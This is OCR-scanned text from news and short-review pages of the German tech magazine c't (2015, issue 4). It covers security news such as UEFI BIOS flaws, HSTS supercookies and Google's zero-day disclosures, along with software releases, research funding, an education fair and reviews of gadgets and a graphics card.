beim Zugriffsversuch über das Display strei- 
chen. So wäre sichergestellt, dass die Person, 
die sich gerade einzuloggen versucht, auch 
Zugriff auf das Handy des legitimen Account- 
Inhabers hat. Wer will, kann auch ein Master- 
passwort als einen der Faktoren nutzen. Laut 
Intel wird die Passwortdatenbank lokal mit 
AES-256 verschlüsselt, ehe sie in die Cloud 
wandert. Der Hersteller gibt an, keine Mög- 
lichkeit zu haben, die Daten zu entschlüsseln. 

True Key unterstützt Windows, OS X, An- 
droid und iOS. Das Speichern von bis zu 
15 Passwörtern ist gratis; wer mehr Speicher- 


True Key setzt auf Mehrfaktor-Authentifi- 
zierung. Auf Wunsch fragt der Passwort- 
manager per Handy bei jedem Login nach. 


platz benötigt, soll ihn sich „verdienen“ kön- 
nen - vermutlich ist damit ein Empfehlungs- 
system gemeint, wie es auch Dropbox be- 
treibt. Darüber hinaus will Intel einen Pre- 
mium-Zugang für 20 US-Dollar im Jahr an- 
bieten. (rei) 
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True Key 


Hi Robert, 


Your account is being accessed 
from another device. 


Swipe to accept and log in. 


Bild: Intel 


BSI-Präsident fordert Zwangstrennung für infizierte Rechner 


Unternehmen in Deutschland müssen nach 
Einschätzung des Bundesamtes für Sicher- 
heit in der Informationstechnik (BSI) ihre An- 
strengungen für die digitale Sicherheit deut- 
lich verstärken. Trotz einer erheblichen Be- 
drohung gebe es eine „digitale Sorglosig- 
keit“, so BSI-Präsident Michael Hange. Seiner 
Einschätzung nach sind bis zu einer Milliarde 
Schadprogramme weltweit im Umlauf, vor 
allem für Windows-PCs. 

Hange setzte sich auf dem Berliner Forum 
zu Cyber-Sicherheit dafür ein, mit Trojanern 


und anderen Schadprogrammen infizierte 
Rechner zwangsweise durch die Internet- 
Provider vom Netz zu nehmen. In Deutsch- 
land seien rund eine Million PCs Bestandteil 
von sogenannten Bot-Netzen, die von Com- 
puter-Kriminellen mithilfe von Viren und Tro- 
janern aufgebaut wurden und oft für faden- 
scheinige Zwecke verwendet werden. Häufig 
ignorierten die Besitzer der infizierten PCs 
Warnhinweise der Provider, wenn beispiels- 
weise von ihren Rechnern aus Attacken auf 
andere Rechner im Netz laufen. (axk/fab) 


Google veröffentlicht Zeroday-Lücken und erzürnt Microsoft 


Googles Sicherheitsteam hat mehrere bisher 
unbekannte Sicherheitslücken in Windows 
veröffentlicht. Das Timing der Veröffentli- 
chungen erzürnte Microsoft, da Google eine 
Lücke zwei Tage vor dem Januar-Patchday 
offengelegt hatte. Sein Unternehmen sei kurz 
davor gewesen, die Lücken zu schließen, 
klagte ein hochrangiger Mitarbeiter von Mi- 
crosofts Security Response Center. Microsoft 
hatte einen weiteren Patch wegen Kompati- 
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bilitätsgründen auf den Februar-Patchday 
verschoben und Google informiert, aber auch 
diese Sicherheitslücke legte Google offen. 
Microsoft wünscht sich, dass Sicherheits- 
forscher die Details zu Lücken erst herausge- 
ben, wenn ein Patch allgemein verfügbar ist. 
Google hingegen gibt anderen Firmen routi- 
nemäßig genau 90 Tage Zeit, einen Patch zu 
entwickeln - dann wird die Lücke automa- 
tisch offengelegt. (fab) 
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HTTP-Header 
als Supercookie 


Eigentlich soll der HSTS-Header dazu die- 
nen, Lauschangriffe auf HTTPS-Verbindun- 
gen zu vereiteln. Jetzt hat ein Sicherheitsfor- 
scher allerdings gezeigt, wie Tracking-Fir- 
men diese Schutzfunktion missbrauchen 
können, um das Nutzerverhalten im Netz zu 
überwachen. 

HTTP Strict Transport Security (HSTS) ver- 
hindert, dass Nutzer eine gesicherte Websei- 
te wie https://paypal.com über eine ungesi- 
cherte Verbindung wie http://paypal.com 
aufrufen. Dann merkt sich der Browser, dass 
ein Server grundsätzlich nur über gesichertes 
HTTPS kommuniziert. So kann auch ein An- 
greifer den Nutzer nicht auf die ungesicherte 
URL umleiten und dann den Datenverkehr 
mitschreiben. Leider lässt sich das aber auch 
gegen den Nutzer wenden. Um eine Art 
Supercookie zu erzeugen, füttert ein Server 
den Browser mit HSTS-Werten für bestimmte 
Subdomains. Beim nächsten Besuch kann er 
testen, für welche Subdomains der Browser 
HSTS aktiviert hat und den Besucher wieder- 
erkennen. 

Während das HSTS-Supercookie momen- 
tan ein rein akademischer Angriff ist, der 
noch nicht aktiv ausgenutzt wird, erfreuen 
sich andere unlöschbare Cookies reger Be- 
liebtheit. So schiebt zum Beispiel der US-Mo- 
bilfunkanbieter Verizon seinen Kunden stan- 
dardmäßig bei sämtlichen Web-Anfragen zu- 
sätzliche HTTP-Header unter. Damit sind die 
Kunden eindeutig identifizierbar, und zwar 
nicht nur durch Verizon selbst, sondern 
durch alle Unternehmen, die den Header 
auslesen (siehe S. 50). (fab) 


EE HSTS-Supercookies im Detail: ct.de/yz4f 


Ui Sicherheits-Notizen 


Momentan versenden Unbekannte ver- 
stärkt Schadcode per E-Mail, der über 
Microsoft-Office-Makros ausgeführt wird. 
Die Macro-Trojaner fordern Nutzer auf, 
die Funktionen zum Ausführen von 
Makros in Word oder Excel zu aktivieren 
- bleiben diese deaktiviert, ist der Angriff 
wirkungslos. 


Microsoft hat den Mainstream-Support 
von Windows 7 eingestellt. Für die kom- 
menden fünf Jahre liefert die Firma aller- 
dings weiterhin Sicherheits-Updates. 


Androids WebView hat gravierende Si- 
cherheitslücken, die laut Google nicht 
mehr geschlossen werden sollen. Betrof- 
fen sind alle Geräte bis einschließlich 
Android 4.3, die noch den alten Standard- 
Browser des Betriebssystems nutzen. 
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Sicherheitslücken in vielen PC-BIOSen 


Schwachstellen im (UEFI-)BIOS 
zahlreicher Desktop-Rechner und 
Notebooks könnten Angreifer 
nutzen, um Software in den Boot- 
Code einzuschmuggeln. Solche 
„Bootkits“ lassen sich selbst durch 
den Austausch der Festplatte 
oder SSD nicht entfernen. Angrif- 
fe mit Bootkits sind jedoch sehr 
aufwendig und deshalb unwahr- 
scheinlicher als Attacken mit 
(Windows-)Software. Denkbar ist 
der Einsatz von Bootkits aber für 
das gezielte Ausspähen bestimm- 
ter Personen und ihrer Rechner. 

Auf dem Chaos Communicati- 
on Congress 31C3 kritisierte der 
Kryptologe Rüdiger Weiss das 
Konzept von UEFI Secure Boot 
auch unter Verweis auf die Pan- 
nen, die Microsoft mit Windows- 
Patches kürzlich unterliefen. 

Die MITRE-Forscher Rafal 
Wojtczuk und Corey Kallenberg - 
letzterer deckte schon andere 
UEFI-Lücken auf - demonstrier- 
ten auf dem 31C3 eine Attacke. 
Sie nutzten drei Schwachstellen 
nacheinander aus, um Daten in 
den SPI-Flash-Speicherchip zu 
schreiben, in dem auch der BIOS- 
Code liegt. Unter anderem verän- 
derten sie das sogenannte „Boot 
Script“, welches UEFI-PCs beim 
Aufwachen aus dem Schlafmo- 
dus ACPI S3 ausführen. Einen 
ähnlichen Trick setzte c’t-Redak- 
teur Andreas Stiller schon 1999 
ein, um die angeblich sicher 
abgeschalteten Seriennummern 


auf Pentium-Ill-PCs wieder einzu- 
schalten. Die MITRE-Forscher 
zeigten auch, dass vorhandene 
Sicherheitsfunktionen nicht im- 
mer oder falsch zum Einsatz 
kommen, etwa der Schreibschutz 
für Adressbereiche von SPI-Fla- 
shes. Betroffen ist laut der Vulne- 
rability Note VU#976132 (siehe 
Link unten) Firmware von AMI 
und Phoenix. Das Angriffsrisiko 
lässt sich mindern, wenn man 
den Energiesparmodus ACPI S3 
abschaltet, etwa per BIOS-Setup 
oder über die Energieoptionen 
des Betriebssystems. 

Rudolf Marek, der auch Code 
für die offene Firmware Coreboot 
schreibt, erklärte auf dem 31C3, 
wie er eigene Befehle in die Firm- 
ware der System Management 
Unit (SMU) aktueller AMD-Pro- 
zessoren einschleust. Die Firm- 
ware steckt dabei als Teil des 
AGESA-Codes ebenfalls im (UEFI-) 
BIOS von Mainboards für die 
CPU-Typen A10, A8, A6, A4, E2 
und E1, die AMD unter den Co- 
denamen Trinity, Richland, Kaveri 
und Kabini entwickelt hat. Laut 
AMD können BIOS-Updates den 
Fehler schon beheben, bisher fin- 
den sich jedoch noch bei keinem 
Mainboard-, PC- oder Notebook- 
Hersteller Hinweise darauf. Eine 
Anfrage an AMD blieb bis zum 
Redaktionsschluss unbeantwor- 
tet. (ciw) 


CE VU#976132: ct.de/yakw 


Der Software-Schreibschutz von SPI-Flashes für (UEFI-) 
BIOS-Code lässt sich oft austricksen. 
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München unterstützt LibreOffice 


Die Stadt München ist dem Bei- In den vergangenen zehn Jah- 
rat der Document Foundation ren hat die Stadtverwaltung 
beigetreten. Die Organisation München rund 16 000 Arbeits- 
fördert und koordiniert die Ent- platz-PCs auf LiMux umgestellt, 
wicklung von LibreOffice. Der einein München gepflegte Linux- 
Beirat, dem unter anderem Goo- Distribution. Die im Dezember 
gle, Red Hat, Suse, Intel und die freigegebene Version 5.0 nutzt 
Free Software Foundation ange- standardmäßig LibreOffice; auch 
hören, repräsentiert die Sponso- auf den verbliebenen Windows- 
ren des LibreOffice-Projekts und Rechnern kommt das freie Office- 
berät den Vorstand der Stiftung. Paket zum Einsatz. (odi) 


Neue IDE für Gnome 


Der Gnome Builder ist eine gration des Gtk+-Entwicklungs- 
neue Entwicklungsumgebung werkzeugs Glade und der Doku- 
für Gnome-Apps. Eine Ende De- mentation der Gnome-APlIs, Un- 
zember gestartete Crowdfun- terstützung beim Management 
ding-Kampagne hat bereitsnach komplexer Softwareprojekte so- 
wenigen Tagen die angepeilten wie Git-Integration. Kommt mehr 
30000 US-Dollar zusammen- Geld zusammen, sind weitere 
gebracht. Derzeit kann man eine Features wie Werkzeuge zur Ein- 
Entwicklerversion aus dem bindung von D-Bus-Diensten, ein 
Gnome-Git herunterladen; eine grafischer Debugger, gemeinsa- 
anwendertaugliche Version ver-- mes Editieren von Quelltextdatei- 


spricht der Entwickler für April. en, Unit-Testing sowie die Unter- 
Auf dem Programm stehen stützung von JavaScript und Py- 
Standard-Features wie Auto- thon geplant. (odi) 


Completion und automatische 
Einrückung, aber auch die Inte- EE Gnome Builder: ct.de/y3u8 


BE rniteranument ı “ion |w geesiedeumeren 


Le 1. Ctumme 3a 


Der neue Gnome Builder soll die Entwicklung von Gnome-Apps 
erleichtern. 


XBMC-Nachfolger Kodi 14 


Mit der neuen Version 14 erhält feeds, das aktuelle Wetter und 
die bewährte Mediacenter-Soft- vieles mehr. 

ware XBMC einen neuen Namen: Kodi 14 (Helix) aktualisiert 
Kodi Entertainment Center. Der FFmpeg auf die Version 2.4.4, so- 
neue Name soll die Anklänge an dass sich jetzt Videos in den mo- 
die Xbox beseitigen, für die dernen Codecs H.265 (HEVC) 
XBMC als Xbox Media Center ur-- und VP9 abspielen lassen. Das 
sprünglich entwickelt worden Dekodieren von H.265 erfolgt al- 
war. Zudem, so die Entwickler, lerdings in Software; schwächere 
sei Kodi mittlerweile mehr alsein Rechner wie der Raspberry Pi 
Mediacenter: Die Software gibt könnten damit überfordert sein. 
nicht nur Musik, Videos und DLNA/UPnP- und Airplay-Sup- 
Fotos wieder, sondern streamt port wurden verbessert, das Ein- 
Musik und Videos aus vielfälti- lesen der Medienbibliothek 
gen Quellen, lädt Spiele, News- beim Start beschleunigt. (odi) 
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Firefox mit Browser-Telefonie 


Die neue Version 35 des Web-Browsers Fire- 
fox enthält außer diversen Verbesserungen 
und Fehlerbereinigungen einige neue 
Funktionen. Nutzer können nun mit dem 
WebRTC-Client „Hello“ direkt im Browser 
Video-Telefonate starten. Außerdem gab es 
Änderungen im Umgang mit HTML5, so 
sind etwa die CSS-Filter für das Rendering 
von Elementen per Voreinstellung aktiv. 
Zudem unterstützt der Browser jetzt das 
CSS-Font-Loading-API. Die let-Semantik von 
JavaScript entspricht jetzt ECMAScript 6. Im- 


) Firefox Hello 


mozilla 


plementiert wurde außerdem ein „Resource 
Timing API“, über das eine JavaScript-An- 
wendung Informationen darüber erhält, 
wann eine Ressource beim Anwender ange- 
kommen ist. 

Die HTTP-Erweiterung „Public Key Pin- 
ning“ soll durch die verbesserte Authenti- 
sierung verschlüsselter Nachrichten die Ge- 
fahr von Man-in-the-Middle-Angriffen redu- 
zieren. (hob) 


EE Download: ct.de/yr2z 


Firefox-Hello- 
Nutzer können 
ihre Gesprächs- 
partner direkt 
anrufen - dafür 
benötigen beide 
Nutzer einen 
Firefox-Account. 


Cloud-Überwachung von Microsoft führt zu Hausdurchsuchung 


Wer Fotos in Cloud-Dienste hochlädt, muss 
davon ausgehen, dass diese automatisch ge- 
scannt und auf kinderpornografische Inhalte 
hin durchsucht werden. Offenbar gehen Mel- 
dungen über mutmaßlich illegales Material 
auch an deutsche Strafverfolgungsbehör- 
den. Der Strafverteidiger Udo Vetter berich- 
tete in seinem Blog von dem Fall eines Man- 
danten, dem vorgeworfen wird, solches 
Material besessen zu haben. Ein einziges 
fragwürdiges Bild unter mehreren tausend 
unbedenklicher Aufnahmen, das er auf 
Microsofts Cloud-Speicher OneDrive gespei- 
chert hatte und das dort vom Anbieter nach 
einem Server-Scan automatisch entdeckt 


wurde, führte laut Vetter zu einer Meldung 
ans deutsche Bundeskriminalamt. 

Auf Betreiben der Staatsanwaltschaft 
Nürnberg erließ das dortige Amtsgericht 
einen Durchsuchungsbefehl. Die Polizei be- 
schlagnahmte, wie in solchen Fällen üblich, 
die komplette Hardware des Verdächtigen 
für eine detaillierte Auswertung. Schon als 
das automatische Scannen im vergangenen 
Sommer bekannt geworden war, hatte Vet- 
ter darauf hingewiesen, dass deutsche Straf- 
verfolger solche Informationen nutzen könn- 
ten, auch wenn bei deren Gewinnung mögli- 
cherweise gegen deutsches Recht verstoßen 
wurde. (uma) 


Bericht: Internet Explorer 
wird abgespeckt 


Nach Berichten von US-Medien baut Micro- 
soft einen in weiten Teilen neuen Web- 
Browser. So soll Windows 10 zumindest in 
der PC-Version zwei verschiedene Browser 
enthalten, von denen der eine der altbe- 
kannte Internet Explorer 11 ist. Dieser soll für 
all jene Webanwendungen zuständig sein, 
die auf die Eigenheiten der bisherigen elf 
IE-Versionen bauen - die es vor allem in Int- 
ranets noch zahlreich geben dürfte. 

Die Neuheit ist der andere Browser, der bis- 
lang nur unter dem Codenamen „Spartan” be- 
kannt ist. Auch er fußt fürs Rendering und für 
JavaScript auf der Trident- und der Chakra-En- 
gine des Internet Explorer, doch soll Microsoft 
bei seiner Entwicklung angeblich viele Altlas- 
ten über Bord werfen. (Herbert Braun/jo) 


Supercookie vom 
Mobilfunkbetreiber 


Das US-amerikanische Mobilfunkunterneh- 
men Verizon macht seine Kunden identifizier- 
bar, indem es zusätzliche, eindeutige HTTP- 
Header in den Datenverkehr zwischen deren 
Browsern und den Webservern einfügt, die 
sie besuchen. Die Betreiber der Webseiten 
können die Kunden daran wiedererkennen. 
Das Einfügen der Daten durch Verizon lässt 
sich nicht abschalten. 

Turn, ein amerikanischer Werbeplatzver- 
markter, nutzt das Verizon-Verfahren, um 
Cookies von Web-Diensten wieder zu setzen, 
die Benutzer gelöscht haben. Das hat der 
Informatiker und Rechtsanwalt Jonathan 
Mayer herausgefunden, der an der Univer- 
sität Stanford arbeitet. Zu den Kunden von 
Turn, die diese Möglichkeit nutzen, sollen 
Mayers Untersuchungen zufolge Google, 
Facebook, Twitter und Yahoo gehören. Veri- 
zon ist derzeit das einzige US-Mobilfunk- 
unternehmen, das seine Kunden eindeutig 
wiedererkennbar macht. Nach stichproben- 
artigen Tests von c't ist das Verfahren hierzu- 
lande noch nicht im Einsatz. (jo) 


EE Mayers Untersuchungsergebnisse: 
ct.de/yr2z 


Google-Index: Flut von Löschbegehren der Rechteinhaber nimmt zu 


Google sieht sich mit immer mehr Löschbe- 
gehren wegen Urheberrechtsverletzungen 
im Internet konfrontiert. Die Zahl der einge- 
reichten Ersuchen ist 2014 im Vergleich zum 
Vorjahr um etwa 75 Prozent auf über 345 Mil- 
lionen angewachsen. Dies hat der Online- 
Dienst TorrentFreak anhand der wöchentli- 
chen Statistiken des Suchmaschinenbetrei- 
bers in dessen Transparenzbericht errechnet. 
Noch 2008 waren gerade mal 62 Löschanträ- 
ge auf Basis des Digital Millennium Copy- 
right Act (DMCA) bei Google eingegangen, 
seit 2012 steigt die Zahl drastisch an. 
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Der Internetkonzern entspricht den meis- 
ten Begehren und löscht die inkriminierten 
Links aus seinem Suchindex. Webseiten- 
betreiber, die sich zu Unrecht ausgesperrt 
fühlen, müssen dann nachweisen, dass sie 
keine Urheberrechte verletzt haben. Nur 
wenn das ohnehin offensichtlich ist, folgt 
Google den Löschungsaufforderungen nicht. 

Die meisten Ersuchen richteten sich im 
vergangenen Jahr gegen die Domains 4sha- 
red.com, rapidgator.net und uploaded.net 
mit jeweils über fünf Millionen Verweisen. 
Der Verband der britischen Musikindustrie 
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BPI war die Vereinigung von Rechteinha- 
bern, die mit über 60 Millionen aufgelisteten 
Links die meisten Löschungen beantragt hat. 

Google entfernt nicht nur Verweise auf ille- 
gale Inhalte aus den Ergebnislisten, sondern 
verbannt seit 2012 Websites mit Links dorthin 
auch in Eigenregie auf die hinteren Plätze. 
Laut einer von der Motion Picture Association 
of America (MPAA) in Auftrag gegebenen 
Studie kamen Ende 2012 aber immer noch 74 
Prozent der Konsumenten erstmals über eine 
Suchmaschine mit Copyright-verletzenden 
Inhalten in Kontakt. (Stefan Krempl/hob) 


c't 2015, Heft 4 
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aktuell | Forschung, didacta 2015 


310 Millionen Euro für Energiewende-Forschung 


Die Helmholtz-Gemeinschaft Deutscher 
Forschungszentren investiert in den kom- 
menden Jahren rund 310 Millionen Euro in 
die Entwicklung neuer Energiespeicher, 
Netzinfrastrukturen und IT-Lösungen zur 
Einbindung erneuerbarer Energien in das 
bestehende Energiesystem. Das Geld fließt 
in das Forschungsprogramm SCI (Storage 
and Cross-Linked Infrastructures), an dem 
fünf der insgesamt 18 Mitglieder der Helm- 
holtz-Gemeinschaft beteiligt sind: das Karls- 
ruher Institut für Technologie (KIT), das 
Deutsche Zentrum für Luft- und Raumfahrt 
(DLR), das Forschungszentrum Jülich (FZJ), 
das Helmholtz-Zentrum Berlin (HZB) sowie 
das Helmholtz-Zentrum Dresden Rossen- 
dorf (HZDR). 

„Eine Energieversorgung, die auf erneuer- 
baren Energien basiert, benötigt drei wich- 
tige technologische Lösungen”, erklärt KIT- 
Professor Mathias Noe, wissenschaftlicher 
Sprecher des SClI-Forschungsprogramms: 
„Adäquate Energiespeichersysteme, um 
Fluktuationen zu überbrücken, effiziente 
Infrastrukturen, um die Energieverteilung zu 
bewältigen - und eine sektorübergreifende 
Vernetzung, um die Flexibilität, Effizienz und 
Wirtschaftlichkeit der Energiesysteme zu 
erhöhen.” 

Unterteilt ist das auf fünf Jahre (2015 bis 
2019) angelegte SCI-Programm in sechs The- 
menbereiche: Batterien und elektrochemi- 
sche Speicher, Elektrolyse und Wasserstoff, 
synthetische Kohlenwasserstoffe, Brennstoff- 
zellen, thermische Energiespeicher sowie 


Das Deutsche Zentrum für Luft- und Raumfahrt bindet unter anderem seine 
Power-to-Heat-Testanlage HOTREG digital in das Energy Lab 2.0 ein. 


Netze und Speicherintegration. Bei den elek- 
trochemischen Energiespeichern sollen ins- 
besondere neue Materialien und Werkstoffe 
zur kostengünstigen Herstellung großforma- 
tiger Batteriezellen führen, die sich durch 
größere spezifische Energie- und Leistungs- 
dichten sowie eine verbesserte Zuverlässig- 
keit auszeichnen. 

Das Karlsruher Institut für Technologie 
baut bereits seit Ende 2014 gemeinsam mit 
dem Forschungszentrum Jülich und dem 


didacta 2015: Tablets für die Kita, Schreibschrift ade 


Vom 24. bis 28. Februar findet in Hannover 
die didacta 2015 statt - mit mehr als 800 
Ausstellern und rund 80 000 Besuchern die 
größte Bildungsmesse Europas. Zu den zen- 
tralen Themen gehören in diesem Jahr unter 
anderem die Fragen, wie digitale Medien die 
Didaktik beeinflussen und wie diese in Lehr- 
und Lernprozesse integriert werden können. 
So plädiert der Mainzer Professor für Erzie- 
hungswissenschaft und Medienpädagogik, 
Stefan Aufenanger, etwa dafür, Tablet-Com- 
puter bereits im Vorschulalter gezielt einzu- 
setzen, um die Medienkompetenz der Kinder 
zu fördern. 

Deren Lebenswelt, argumentiert Aufenan- 
ger, werde bereits stark von digitalen und 
traditionellen Medien geprägt, weshalb eine 
pädagogische Begleitung sinnvoll sei. Außer- 
dem könne der Einsatz digitaler Medien in 
der Kita zu einer „Erweiterung des Erfah- 
rungs- und Lernraums der Kinder” führen. 
Tablet-Computer sind nach Einschätzung 
Aufenangers für einen Einstieg in der Kita be- 
sonders geeignet, weil die einfache Touch- 


Die didacta 2015 findet vom 24. bis 
28. Februar in Hannover statt. 
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Bedienung den Kindern sehr entgegenkom- 
me. Und gute pädagogische, spielorientierte 
Apps gebe es schon für Dreijährige, unter- 
streicht der Medienpädagoge. Später könn- 
ten die spielerischen Apps dann durch stär- 
ker problemorientierte Anwendungen er- 
gänzt werden. 

In der Ausbildung komme das Thema Me- 
dienerziehung allerdings „viel zu kurz”, be- 
klagt Aufenanger. Deshalb sei es notwendig, 
„dass die Ausbildung dieses Thema aufgreift 
und verstärkt in den Mittelpunkt stellt“. Doch 
die Vorbehalte sind offenbar noch sehr groß. 
So gaben bei einer aktuellen Umfrage 
des Meinungsforschungsinstituts Allensbach 
lediglich 7 Prozent der befragten Kita-Fach- 
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DLR das sogenannte „Energy Lab 2.0” auf. 
Dabei handelt es sich um eine IT-gestützte 
Simulations- und Kontrollplattform, an die 
bis 2018 diverse Versuchsanlagen zur Strom-, 
Wärme- und Synthesegaserzeugung mit un- 
terschiedlichen Speichertechnologien und 
Verbrauchern angeschlossen werden. Ziel ist 
die Entwicklung eines intelligenten Energie- 
gesamtsystems, das später als Vorbild bei der 
Konzipierung moderner Smart Grids mit 
hoher Netzstabilität dienen soll. (pmz) 


kräfte an, digitale Medien würden die Ent- 
wicklung ihrer Schützlinge fördern. 35 Pro- 
zent meinten hingegen, der Einsatz von Tab- 
let & Co. lasse die Talente der Kleinen eher 
verkümmern. Ein ähnliches Bild zeigte sich 
auch bei den Eltern: Nur 14 Prozent der 
Befragten gaben an, Kinder sollten schon 
vor der Schule mit digitalen Medien vertraut 
gemacht werden. 

Ein weiteres kontrovers diskutiertes Thema 
der didacta 2015 wird die anstehende Ab- 
schaffung der Schreibschrift in Finnland sein. 
Junge Menschen sollen dort ab 2016 keine 
Schönschrift mit verbundenen Buchstaben 
mehr in der Schule lernen müssen. Vielmehr 
werde im Lehrplan künftig mehr Wert auf die 
Vermittlung von IT-Fertigkeiten und das „flüs- 
sige Tippen” auf digitalen Endgeräten wie 
iPad und PC-Tastaturen gelegt, unterstreicht 
das finnische Bildungsministerium. Einen ge- 
setzlichen Zwang zur Aufgabe der Schreib- 
schrift soll es zwar nicht geben, der neue 
Lehrplan für Grundschulen empfiehlt aber 
eine einfache Blockschrift und priorisiert die 
Vermittlung von Computerkenntnissen. In 
Deutschland wirbt der Grundschulverband 
seit Jahren ebenfalls für eine einfache Grund- 
schrift, die sich an den Druckbuchstaben der 
„Leseschrift” orientiert. (pmz) 


c't 2015, Heft 4 
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kurz vorgestellt | Bluetooth-Leuchtmittel, Auto-Tracker, Grafikkarte 


iPad-Birne 


Elgatos LED-Leuchtmittel mit 
Bluetooth Smart macht Omas 
Stehlampe zum Wake-up-Light. 


Elgatos Avea-Birne ersetzt eine klassische 
Glühbirne mit E27-Fassung. Wird sie das 
erste Mal mit dem Strom verbunden, leuch- 
tet sie pink auf und will per Bluetooth 
Smart mit einem iOS-Gerät verbunden wer- 
den. Die passende Avea-App findet sich als 
Gratis-Download für iPhone und iPad. 

Bis zu zehn der LED-Leuchtmittel lassen 
sich koppeln, indem man das iOS-Gerät in 
die Nähe einer Lampe hält und deren Strom- 
zufuhr kurz unterbricht. Die Avea leuchtet 
mit 400 Lumen nicht besonders hell und ist 
sicher kein Ersatz für die Glühbirne über dem 
Esstisch. Im Innern stecken sechs weiße 
SMD-LEDs und je zwei RGB-LEDs. Bei kalt- 
weißem Licht mit beigemischtem Blauanteil 
hat die Lampe eine Leistungsaufnahme von 
7,7 Watt, im Standby sind es 0,6 Watt. 

Die App ist übersichtlich gestaltet und 
bietet sieben vorgefertigte Lichtszenen, bei 
denen mehrere Aveas dynamisch animiert 
werden. Ergänzt werden die Profile durch 
eines zur freien Farbwahl und den Lichtwe- 
cker, der das System langsam hochfährt und 
dazu beliebige Musik vom iOS-Gerät ab- 
spielt - die App auf dem iOS-Gerät und Blue- 
tooth müssen hierzu über Nacht aktiv sein. 
Die Effektprofile sind manchmal arg bunt 
geraten. Verändert man über die App die 
Sättigung oder Helligkeit, kommt es zudem 
zu unschönen Lichtsprüngen. Ein stufenlo- 
ses Dimmen oder Wechseln von einer Farbe 
in die andere ist über die App kaum möglich. 

Eine einzelne Avea-Lampe taugt als Farb- 
wechsler oder Wake-up-Light für Morgen- 
muffel. Für den Preis von 40 Euro bekommt 
man allerdings auch schon Osrams Lightify- 
Birne: Sie ist vernetzbar, beherrscht den 
RGB-Budenzauber und taugt mit 800 Lumen 
als vollwertiger Glühbirnenersatz. (sha) 


Bluetooth-LED-Leuchtmittel 


Hersteller Elgato, www.elgato.com 
Fassung E27 
Verbrauch 7,7 Watt maximal, 0,6 Watt Standby 
Preis € 
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Quantified Car 


O2 Car Connection führt ein 
Fahrtenbuch, hilft, das Fahrzeug 
zu finden, analysiert den Fahrstil 
und zeigt Fehlercodes an. 


Car Connection ist ein Steckmodul für die 
OBD-2-Buchse, die seit gut 12 Jahren in 
Autos Standard ist. Das Modul analysiert 
Motordaten, stellt per GPS die Position fest 
- auch im Fußraum noch sehr präzise - und 
sendet per Mobilfunk Daten an O2 und die 
US-Firma Zubie. Immerhin werden die 
Daten laut O2 in Europa gelagert. 

Man verbindet das Modul anhand von Se- 
riennummer und Freischaltcode mit der 
App, was bequem mit der Handykamera 
klappte. Zu einem Konto lassen sich mehre- 
re Nutzer anlegen und in Gruppen organisie- 
ren. So finden dann zum Beispiel alle Famili- 
enmitglieder mit ihrem Handy das geparkte 
Auto. Die App ist unübersichtlich und muss- 
te ab und zu ein zweites Mal gestartet wer- 
den, ehe sie funktionierte. Sie informiert auf 
Wunsch über starkes Beschleunigen und 
Bremsen sowie beim Überschreiten einer 
wählbaren Geschwindigkeit zwischen 70 
und 200 km/h. Außerdem bewertet sie den 
Fahrstil mit Punkten und einem Abzeichen 
wie „Rennfahrer” oder „Grüner Punkt”. 

Das Modul speichert lokal zwischen und 
übermittelt die Daten verzögert. So wurde 
das längst geparkte Auto öfter als noch un- 
terwegs geführt. Die Bordspannung hat es 
recht genau gemessen. Es schaltete sich 
etwa 10 Minuten nach Abstellen des Mo- 
tors in Standby und verbrauchte dann nur 
noch 1,3 mA. Beim Test stolperten wir über 
etliche Mängel: Dem Fahrtenbuch fehlte 
die Exportmöglichkeit, ein Fehler im Steu- 
ergerät wurde nicht gemeldet und die an- 
gezeigte Position war nicht immer aktuell. 
Dafür ist der Preis von O2 Car Connect nicht 
angemessen - zumal man sein Bewegungs- 
profil und weitere Daten an eine US-Firma 
liefert. (ad) 


O2 Car Connection 
OBD-2-Modul mit GPS/GSM-Tracker 


Anbieter 02, www.o2online.de 
Systemanf. Auto mit OBD-2-Buchse, Android ab 4.0, i0S ab 6.0 
Preis 99 € inkl. 1 Jahr Nutzung, danach 5 € im Monat 
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Starker Spieler 


Die GeForce GTX 970 Exoc Black 
Edition gehört dank ihres hohen 

Turbo-Taktes zu den schnellsten 
Spieler-Grafikkarten. 


Im Vergleich zum GTX-970-Referenzmodell 
von Nvidia bietet die Spieler-Grafikkarte 
von Galax eine Turbo-Taktfrequenz von 
1317 statt 1178 MHz und ist dadurch in 
Spielen rund 10 Prozent schneller. Im 
3DMark Firestrike lief der Grafikprozessor 
sogar mit bis zu 1342 MHz. Dank 4 GByte 
RAM und 1664 Shader-Kernen laufen auch 
die anspruchsvollsten Spiele bei maximaler 
Detailstufe ruckelfrei, sofern man sich mit 
Full HD oder WOXGA (2560 x 1600 Pixel) 
begnügt. Alien Isolation lässt sich sogar in 
AK mit voller Pracht samt Kantenglättung 
spielen. 

Allerdings zieht die Karte beim Zocken 
30 Watt mehr als Referenzkarten, nämlich 
182 Watt; die kurzzeitigen Spitzen lagen bei 
266 Watt. Daher hat Galax je einen acht- 
und sechspoligen PCle-Stromanschluss an- 
gelötet und erlaubt so eine Leistungsauf- 
nahme von bis zu 300 Watt. Zwei Strom- 
und ein VGA-Adapter liegen bei. 

Die beiden Lüfter mit je 90 mm Durch- 
messer waren beim Spielen hörbar (2,1 
Sone), allerdings störte das Spulenfiepen 
wesentlich mehr. Es trat unter Last selbst 
bei niedrigen Bildraten auf. Beim Surfen 
und Arbeiten nahmen wir die GeForce GTX 
970 Exoc Black Edition dagegen nicht wahr 
(0,2 Sone, 13 Watt). 

Vier Bildschirme kann man mit der Karte 
gleichzeitig nutzen. Via HDMI 2.0 und Dis- 
playPort 1.2 lassen sich AK-Displays mit 
60 Hz betreiben. Die Grafikkarte ist ab zirka 


340 Euro erhältlich. (mfi) 
GeForce GTX 970 Exoc 
Black Edition 
Spieler-Grafikkarte 
Hersteller Galax, galax.net 
Anschlüsse 2 DL-DVI, HDMI 2.0, DisplayPort 1.2 


Stromanschlüsse 1x8-pin, 1X6-pin 
Shaderkerne/TMUs/ROPs 1664 / 104/64 
Speicher 4 GByte GDDR5 
Preis 30€ 
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kurz vorgestellt | Aktivitätstracker-Analoguhr, ergonomische Maus, Funk-Lautsprecher 


Tick-Tracker 


Außen analog, innen Computer- 
technik: Withings’ Aktivitätstracker- 
Uhr Activite Pop beherrscht die 
Kunst des Understatements. 


Sie sind irritiert, weil c't auf einmal Swatch- 
Uhren testet? Seien Sie unbesorgt: Die Acti- 
vit& Pop des französischen Herstellers Wit- 
hings sieht zwar aus wie eine Mode-Arm- 
banduhr, drin steckt aber ein ausgewachse- 
